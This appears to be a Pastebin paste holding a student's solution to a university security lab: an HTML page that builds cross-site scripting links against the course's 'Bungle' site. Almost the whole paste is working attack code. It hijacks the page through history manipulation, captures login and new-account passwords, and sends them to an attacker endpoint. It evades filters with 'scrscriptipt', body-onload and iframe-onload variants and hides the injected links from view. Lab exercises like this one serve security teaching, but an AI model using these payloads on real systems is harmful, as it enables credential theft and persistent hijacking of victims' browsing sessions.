Advertisement
Guest User

Untitled

a guest
Nov 30th, 2016
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.17 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  3. <script>
  4. function payload(attacker) {
  5. function log(data) {
  6. console.log($.param(data))
  7. $.get(attacker, data);
  8. }
  9. function proxy(href, popped) {
  10. var stateObj = { attack: href };
  11. if (popped) {
  12. history.pushState(stateObj, "", href);
  13. } else {
  14. history.replaceState(stateObj, "", href);
  15. }
  16.  
  17. window.onpopstate = function (e) {
  18. var json = e.state;
  19. proxy(json['attack'], false);
  20. };
  21. $("html").load(href, function(){
  22. $("html").show();
  23.  
  24.  
  25. // Log nav
  26. if ($('#logged-in-user').length) {
  27. var logged_in_user = $('#logged-in-user').html().toString();
  28. log({event: "nav", user: logged_in_user, url: href})
  29. } else {
  30. log({event: "nav", url: href})
  31. }
  32.  
  33. // Log logout
  34. $("#log-out-btn").click(function(e) {
  35. e.preventDefault();
  36. var logged_in_user = $('#logged-in-user').html().toString();
  37. $.post("http://cos432-assn3.cs.princeton.edu/logout",
  38. {},
  39. function() {
  40. log({event: "logout", user: logged_in_user});
  41. proxy("/", true);
  42. }
  43. );
  44. });
  45.  
  46. // Log login
  47. $("#log-in-btn").click(function(e) {
  48. e.preventDefault();
  49. var user = $('#username').val();
  50. var pass = $('#userpass').val();
  51. $.post("http://cos432-assn3.cs.princeton.edu/login",
  52. {
  53. username: user,
  54. password: pass
  55. },
  56. function() {
  57. log({event: "login", user: user, pass: pass});
  58. proxy("/", true);
  59. }
  60. );
  61. });
  62.  
  63. // Log create account
  64. $("#new-account-btn").click(function(e) {
  65. e.preventDefault();
  66. var user = $('#username').val();
  67. var pass = $('#userpass').val();
  68. $.post("http://cos432-assn3.cs.princeton.edu/create",
  69. {
  70. username: user,
  71. password: pass
  72. },
  73. function() {
  74. log({event: "create", user: user, pass: pass});
  75. proxy("/", true);
  76. }
  77. );
  78. });
  79.  
  80. // Navigate to search
  81. $("#search-btn").click(function(e) {
  82. e.preventDefault();
  83. proxy("/search?q=" + encodeURIComponent($("#query").val()));
  84. });
  85.  
  86. // Navigate to search again
  87. $("#search-again-btn").click(function(e) {
  88. e.preventDefault();
  89. proxy("/", true);
  90. });
  91.  
  92. // Home page
  93. $("#bungle-lnk").click(function(e) {
  94. e.preventDefault();
  95. proxy("/", true);
  96. });
  97.  
  98. // Hide attacks in search
  99. $("a:contains(\"<scrip\")").hide();
  100. $("a:contains(\"<bod\")").hide();
  101. $("a:contains(\"<iframe\")").hide();
  102. });
  103. }
  104. $("html").hide();
  105. proxy("/", true);
  106. }
  107.  
  108. function makeLink(xssdefense, target, attacker) {
  109. // Simply insert payload as a script
  110. if (xssdefense == 0) {
  111. return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
  112. encodeURIComponent("<script" + ">" + payload.toString() +
  113. ";payload(\"" + attacker + "\");</script" + ">");
  114. }
  115. // Replace script with scrscriptipt so that when script is removed, it
  116. // is the same as before
  117. else if (xssdefense == 1) {
  118. return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
  119. encodeURIComponent("<scrscriptipt" + ">" + payload.toString() +
  120. ";payload(\"" + attacker + "\");</scrscriptipt" + ">");
  121. }
  122. // Use body onload to inject payload
  123. else if (xssdefense == 2) {
  124. return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
  125. encodeURIComponent("<body onload='" + payload.toString() +
  126. ";payload(\"" + attacker + "\")'" + ">" + "</body" + ">");
  127. }
  128. // Use iframe onload to inject payload
  129. else if (xssdefense == 3) {
  130. return target + "/search?xssdefense=" + xssdefense.toString() + "&q=" +
  131. encodeURIComponent("<iframe onload='" + payload.toString() +
  132. ";payload(\"" + attacker + "\")'" + ">" + "</iframe" + ">");
  133. }
  134. }
  135.  
  136. // Select xss defense and make malicious link for user to click
  137. var xssdefense = 2;
  138. var target = "http://cos432-assn3.cs.princeton.edu";
  139. var attacker = "http://127.0.0.1:31337/stolen";
  140. $(function() {
  141. var url = makeLink(xssdefense, target, attacker);
  142. $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  143. });
  144. </script>
  145. <h3></h3>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement